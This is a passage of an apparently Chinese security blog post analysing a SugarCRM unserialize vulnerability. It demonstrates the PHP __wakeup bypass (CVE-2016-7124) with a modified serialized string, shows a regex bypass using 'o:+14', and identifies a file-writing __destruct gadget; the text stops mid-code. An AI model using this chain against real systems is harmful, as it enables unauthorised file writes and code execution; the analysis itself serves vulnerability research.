&lt;p&gt;PHP之前爆出了一个漏洞（&lt;a href=&quot;https://bugs.php.net/bug.php?id=72663&quot;&gt;CVE-2016-7124&lt;/a&gt;），简单来说就是当序列化字符串中&lt;strong&gt;表示对象属性个数的值&lt;/strong&gt;大于&lt;strong&gt;真实的属性个数&lt;/strong&gt;时会跳过&lt;code class=&quot;highlighter-rouge&quot;&gt;__wakeup&lt;/code&gt;的执行。Demo如下：&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Student&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$full_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$score&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$grades&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__construct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$full_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$score&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$grades&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;full_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$full_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;grades&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$grades&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;score&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$score&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__destruct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;var_dump&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__wakeup&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;foreach&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;get_object_vars&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$k&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$k&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Waking up...&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// $s = new Student('p0wd3r', 123, array('a' =&amp;gt; 90, 'b' =&amp;gt; 100));
// file_put_contents('1.data', serialize($s));
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;unserialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;file_get_contents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'1.data'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;

&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Demo中在&lt;code class=&quot;highlighter-rouge&quot;&gt;__wakeup&lt;/code&gt;中清除了对象属性，然后在&lt;code class=&quot;highlighter-rouge&quot;&gt;__destruct&lt;/code&gt;中将对象信息dump出来。正常情况下，序列化得到的1.data是这样的：&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;O:7:&quot;Student&quot;:3:{s:18:&quot;Studentfull_name&quot;;s:6:&quot;p0wd3r&quot;;s:14:&quot;Studentscore&quot;;i:123;s:15:&quot;Studentgrades&quot;;a:2:{s:1:&quot;a&quot;;i:90;s:1:&quot;b&quot;;i:100;}}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;我们执行该脚本，结果如下：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-09-12-common.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;可以看到对象属性已经被清除了。&lt;/p&gt;

&lt;p&gt;下面我们将1.data改成下面这个样子（将上面的3变成5或者其他大于3的数字）：&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;O:7:&quot;Student&quot;:5:{s:18:&quot;Studentfull_name&quot;;s:6:&quot;p0wd3r&quot;;s:14:&quot;Studentscore&quot;;i:123;s:15:&quot;Studentgrades&quot;;a:2:{s:1:&quot;a&quot;;i:90;s:1:&quot;b&quot;;i:100;}}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;再执行脚本看看：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-09-12-bug.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;可以看到对象被dump出来了并且属性没有被清除，证明&lt;code class=&quot;highlighter-rouge&quot;&gt;__wakeup&lt;/code&gt;并没有被执行。&lt;/p&gt;

&lt;p&gt;这个漏洞很有趣，在下面的分析中我们会用到它。&lt;/p&gt;

&lt;h3 id=&quot;3漏洞分析&quot;&gt;3.漏洞分析&lt;/h3&gt;

&lt;p&gt;首先我们看&lt;code class=&quot;highlighter-rouge&quot;&gt;service/core/REST/SugarRestSerialize.php&lt;/code&gt;中的&lt;code class=&quot;highlighter-rouge&quot;&gt;serve&lt;/code&gt;函数：&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;serve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
	&lt;span class=&quot;nv&quot;&gt;$GLOBALS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'log'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'Begin: SugarRestSerialize-&amp;gt;serve'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;empty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_REQUEST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'rest_data'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_REQUEST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'rest_data'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;empty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_REQUEST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'method'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;method_exists&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;implementation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_REQUEST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'method'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])){&lt;/span&gt;
		&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;nv&quot;&gt;$method&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_REQUEST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'method'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
		&lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;sugar_unserialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;from_html&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
		&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;可以看到我们可控的&lt;code class=&quot;highlighter-rouge&quot;&gt;$_REQUEST['rest_data']&lt;/code&gt;首先通过&lt;code class=&quot;highlighter-rouge&quot;&gt;from_html&lt;/code&gt;将数据中HTML实体编码的部分解码，然后传入了&lt;code class=&quot;highlighter-rouge&quot;&gt;sugar_unserialize&lt;/code&gt;函数。&lt;/p&gt;

&lt;p&gt;跟进&lt;code class=&quot;highlighter-rouge&quot;&gt;sugar_unserialize&lt;/code&gt;函数，在&lt;code class=&quot;highlighter-rouge&quot;&gt;include/utils.php&lt;/code&gt;第5033-5048行：&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;sd&quot;&gt;/**
 * Performs unserialization. Accepts all types except Objects
 *
 * @param string $value Serialized value of any type except Object
 * @return mixed False if Object, converted value for other cases
 */&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;sugar_unserialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;preg_match&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'/[oc]:\d+:/i'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$matches&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$matches&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;unserialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;从注释中可以看到该函数设计的初衷是为了不让&lt;code class=&quot;highlighter-rouge&quot;&gt;Object&lt;/code&gt;类型被反序列化，然而正则不够严谨，我们可以在对象长度前加一个&lt;code class=&quot;highlighter-rouge&quot;&gt;+&lt;/code&gt;号，即&lt;code class=&quot;highlighter-rouge&quot;&gt;o:14 -&amp;gt; o:+14&lt;/code&gt;，即可绕过这层检测，从而使得我们可控的数据传入&lt;code class=&quot;highlighter-rouge&quot;&gt;unserialize&lt;/code&gt;函数。&lt;/p&gt;

&lt;p&gt;可控点找到了，接下来我们需要寻找有哪些对象可以利用，在&lt;code class=&quot;highlighter-rouge&quot;&gt;include/SugarCache/SugarCacheFile.php&lt;/code&gt;中第90-108行：&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__destruct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;parent&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;__destruct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;_cacheChanged&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;sugar_file_put_contents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;sugar_cached&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;_cacheFileName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;serialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;_localStore&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;sd&quot;&gt;/**
* This is needed to prevent unserialize vulnerability
*/&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__wakeup&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;c1&quot;&gt;// clean all properties
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;foreach&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;get_object_vars&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$k&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$k&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Exception&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Not a serializable object&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;我们看到了我们比较喜欢的magic方法，并且在&lt;code class=&quot;highlighter-rouge&quot;&gt;__destruct&lt;/code&gt;中使用对象属性作为参数调用了&lt;code class=&quot;highlighter-rouge&quot;&gt;sugar_file_put_contents&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;跟进&lt;code class=&quot;highlighter-rouge&quot;&gt;sugar_file_put_contents&lt;/code&gt;，在&lt;code class=&quot;highlighter-rouge&quot;&gt;include/utils/sugar_file_utils.php&lt;/code&gt;第131到149行：&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;sugar_file_put_contents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$flags&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
	&lt;span class=&quot;c1&quot;&gt;//check to see if the file exists, if not then use touch to create it.
&lt;/span&gt;	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;file_exists&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)){&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;sugar_touch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;is_writable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	    &lt;span class=&quot;nv&quot;&gt;$GLOBALS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'log'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;File &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; cannot be written to&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;empty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;file_put_contents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;elseif&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;empty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$context&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;file_put_contents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
